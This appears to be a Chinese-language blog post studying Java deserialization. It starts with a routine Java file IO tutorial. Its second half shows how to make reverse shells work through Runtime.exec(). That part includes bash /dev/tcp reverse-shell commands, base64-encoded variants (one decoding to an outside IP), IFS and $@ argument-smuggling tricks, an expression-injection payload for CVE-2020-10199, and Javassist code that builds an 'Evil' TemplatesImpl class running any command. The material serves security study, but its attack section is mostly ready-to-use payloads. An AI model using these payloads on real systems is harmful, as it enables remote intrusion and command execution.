'Java反序列化-基础2'

暂时两个部分

  • 一、IO流
  • 二、runtime解决弹shell

一、IO流

IO是指 Input/Output,即输入和输出。以内存为中心:
代码是在内存中运行的,数据也必须读到内存,最终的表示方式无非是 byte数 组,字符串等,都必须存放在内存里。

1、创建文件

(1)指定完整绝对路径 直接创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package demo20;

import java.io.File;
import java.io.IOException;

public class fileIOTest {
public static void main(String[] args) throws IOException {
createFile();
}
public static void createFile() throws IOException {
File file = new File("F:\\code\\com\\test\\new.txt");
try {
file.createNewFile();
System.out.println("创建成功");
} catch (IOException e) {
e.printStackTrace();
}

}
}

(2)指定文件夹创建文件

1
2
File filepath = new File("F:\\code\\com\\test");
File file = new File(filepath, "new2.txt");

2、获取文件信息

1
2
3
4
5
6
7
8
9
public static void getFile(){
File file = new File("F:\\code\\com\\test\\new.txt");
System.out.println("文件名称为:" + file.getName());
System.out.println("文件的绝对路径为:" + file.getAbsolutePath());
System.out.println("文件的父级目录为:" + file.getParent());
System.out.println("文件的大小(字节)为:" + file.length());
System.out.println("这是不是一个文件:" + file.isFile());
System.out.println("这是不是一个目录:" + file.isDirectory());
}

文件删除,创建多级目录等操作不再介绍。
file.delete()
file.mkdir()
file.mkdirs()

3、IO流分类

| 抽象基类 | 字节流 | 字符流 |
| 输入流 | InputStream | Reader |
| 输出流 | OutputStream | Writer |

  • 字节流(8bit,适用于二进制文件)
  • 字符流(按字符,因编码不同而异,适用于文本文件)

4、文件流的操作

(1)对runtime执行命令进行操作

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws IOException {
InputStream whoamiinputstream = Runtime.getRuntime().exec("tasklist").getInputStream();
byte[] cache = new byte[1024]; //缓存数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int readLen = 0;
while ((readLen = whoamiinputstream.read(cache))!=-1){
byteArrayOutputStream.write(cache, 0, readLen);
}
System.out.println(byteArrayOutputStream);
}

代码解释:
runtime exec执行tasklist命令,写入到 输入流,
创建个1024字节的缓存,创建个ByteArrayOutputStream输出流,创建个int readLen,
readLen = whoamiinputstream.read(cache),读取缓存中的数据长度len,赋值为readLen,不为-1,意思就是根据底层,-1为最后结束的字节(如果已到达文件末尾,则返回 -1)。所以意思就是读到输入流结束之前的所有内容的长度
将缓存写入到byteArrayOutputStream输出流,数据偏移设置为0,长度就设置为输入流的长度。

(2)read读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void readFile() {
String filePath = "F:\\code\\com\\test\\new.txt";
FileInputStream fileInputStream = null;
int readData = 0;
try {
fileInputStream = new FileInputStream(filePath);
while ((readData = fileInputStream.read()) != -1) {
System.out.print((char) readData);
}
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
fileInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

跟进方法
方法作用:从此输入流中读取一个字节的数据。

1
2
3
public int read() throws IOException {
return read0();
}

第二种读取方法:也就是设置缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void readFile(){
java.lang.String filePath = "F:\\code\\com\\test\\new.txt";
FileInputStream fileInputStream = null;
byte[] cache = new byte[8]; // 设置缓冲区,缓冲区大小为 8 字节
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int readLen = 0;
try {
fileInputStream = new FileInputStream(filePath);
while((readLen = fileInputStream.read(cache)) != -1){
byteArrayOutputStream.write(cache, 0, readLen);
System.out.println(byteArrayOutputStream);
}
} catch (IOException e){
e.printStackTrace();
} finally {
try {
fileInputStream.close();
} catch (IOException e){
e.printStackTrace();
}
}
}

每次循环多读8个字节。

跟进方法:

1
2
3
public int read(byte b[]) throws IOException {
return readBytes(b, 0, b.length);
}

跟runtime那次一样,b设置缓存(即输入流),0设置偏移量,b.length设置字节长度。

(3)write写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void writeFile(){
java.lang.String filePath = "F:\\code\\com\\test\\new.txt";
FileOutputStream fileoutstream = null;
byte[] cache = new byte[8]; // 设置缓冲区,缓冲区大小为 8 字节
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int readLen = 0;
String content = "gulugulu";
try {
fileoutstream = new FileOutputStream(filePath);
fileoutstream.write(content.getBytes());

// while((readLen = fileInputStream.read(cache)) != -1){
// byteArrayOutputStream.write(content.getBytes());
// System.out.println(byteArrayOutputStream);
// }
} catch (IOException e){
e.printStackTrace();
} finally {
try {
fileoutstream.close();
} catch (IOException e){
e.printStackTrace();
}
}
}

1
2
3
public void write(byte b[]) throws IOException {
writeBytes(b, 0, b.length, append);
}

// 设置追加写入
fileOutputStream = new FileOutputStream(filePath), true;

(4)copy拷贝
实际上没有copy这个函数,靠的是FileIntputStream FileOutputStream读取信息写入到新文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void copyFile(){
String srcFilename = "F:\\code\\com\\test\\new.txt";
String desFilename = "F:\\code\\com\\test\\new3.txt";
FileInputStream fileInputStream = null;
FileOutputStream fileOutputStream = null;
try {
fileInputStream = new FileInputStream(srcFilename);
fileOutputStream = new FileOutputStream(desFilename);
byte[] cache = new byte[1024];
int readLen = 0;
while((readLen = fileInputStream.read(cache)) != -1){
fileOutputStream.write(cache, 0, readLen);
}
} catch (IOException e){
e.printStackTrace();
} finally {
try {
fileInputStream.close();
fileOutputStream.close();
} catch (IOException e){
e.printStackTrace();
}
}
}

(5)FileReader
FileReader 用于读取字符流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void readerFile(){
String filePath = "F:\\code\\com\\test\\new.txt";
FileReader fileReader = null;
try {
fileReader = new FileReader(filePath);
int readLen = 0;
char[] cache = new char[8];
while ((readLen = fileReader.read(cache))!=-1){
System.out.println(new String(cache, 0, readLen));
}
} catch (IOException e){
e.printStackTrace();
} finally {
try {
fileReader.close();
} catch (IOException e){
e.printStackTrace();
}
}
}

二、runtime解决弹shell

Java Runtime.exe() 执行命令与反弹shell
主要问题:写的 PoC 有时候收不到回显,尤其是弹 shell 的。

1、Runtime exec机制

Runtime.getRuntime().exec() 总共有六个重载方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public Process exec(String command) throws IOException {
return exec(command, null, null);
}


public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}


public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");

StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}


public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}


public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}


public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}

但不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)

经过new StringTokenizer(command);进入StringTokenizer类的StringTokenizer方法
对命令(字符串)进行分割,默认分隔符号是\t\n\r\f,也就是tab 换行 回车 以及换页符号。

1
2
3
public StringTokenizer(String str) {
this(str, " \t\n\r\f", false);
}

最后存入字符串数组,再传入执行函数。

1
String[] cmdarray = new String[st.countTokens()];

然后底层调用new ProcessBuilder(cmdarray) 创建进程,将cmdarray传入。
然后在.start();进行调用

判断命令程序,如果命令为空,就抛出异常IndexOutOfBoundsException

进行一系列判断,利用for循环判断cmdarray的长度,剔除空字符\u0000。

最后传入线程执行命令。

2、主要原因

(1)重定向和管道符的使用方式在正在启动的进程的中没有意义。
例如ls > dir_listing命令,在shell中是 执行ls命令,将结果输入到dir_listing文件中。

而在exec() 函数中,该命令为解释为获取 >dir_listing 目录的列表。

换句话来讲,就是重定向和管道符,需要在我们诸如 bash 的环境下才有意义。所以我们需要将 /bin/bash 赋予给 array[0] 来调用 bash 进程。

解决方法:设置环境变量(声明执行命令所需的程序)

1
2
3
bash -c ls > dir_listing

/bin/bash -c ls > dir_listing

(2)参数无法界定范围

例如传入exec(“bash -c ‘bash -i >& /dev/tcp/127.0.0.1/4399 0>&1’”) 整个字符串后

经过StringTokenizer(command)之后,会变成

1
"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/127.0.0.1/4399" "0>&1'"

这会导致参数无法界定,比如我们此处解析执行的命令只是 bash -c 'bash 。
所以我们需要让-c后面的参数,不进行分割。

3、解决方案

(1)传入数组执行
exec() 的重载方法,不使用 exec(String command, String[] envp, File dir)方法,
而是传入数组的话 exec(cmdarray[]),它就不会进行分割的,所以反弹shell是可以采用的

1
exec(new String[]{"bash","-c","bash -i >& /dev/tcp/127.0.0.1/4399 0>&1"})

通过调试发现,直接进入new ProcessBuilder(cmdarray)
而不经过StringTokenizer进行分割等操作。

(2)传入字符串执行
既然他会对-c后面的字符串进行分割遍历,那么我们把他搞成一个 “整体” 不就行了。

老生常谈的方法,不再解释。

  • base64
1
"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
  • IFS分隔符
1
2
bash${IFS}-i>&/dev/tcp/127.0.0.1/4399<&1
bash$IFS$9-i>&/dev/tcp/127.0.0.1/4399<&1


  • $@ 代表传入参数的列表
    例如
1
/bin/bash -c '$@|bash' 'echo' 'ls'

实际上执行的是

echo ‘ls’|bash

所以最终的命令是

1
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/4399 0>&1

测试使用vulhub的CVE-2020-10199漏洞

1
"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.230.128/4399 0>&1')}"

4、poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

private static byte[] getShortTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();

return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static byte[] getTemplatesImpl(String cmd) {  
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

https://github.com/antiRookit/ShortPayload

https://xz.aliyun.com/t/10824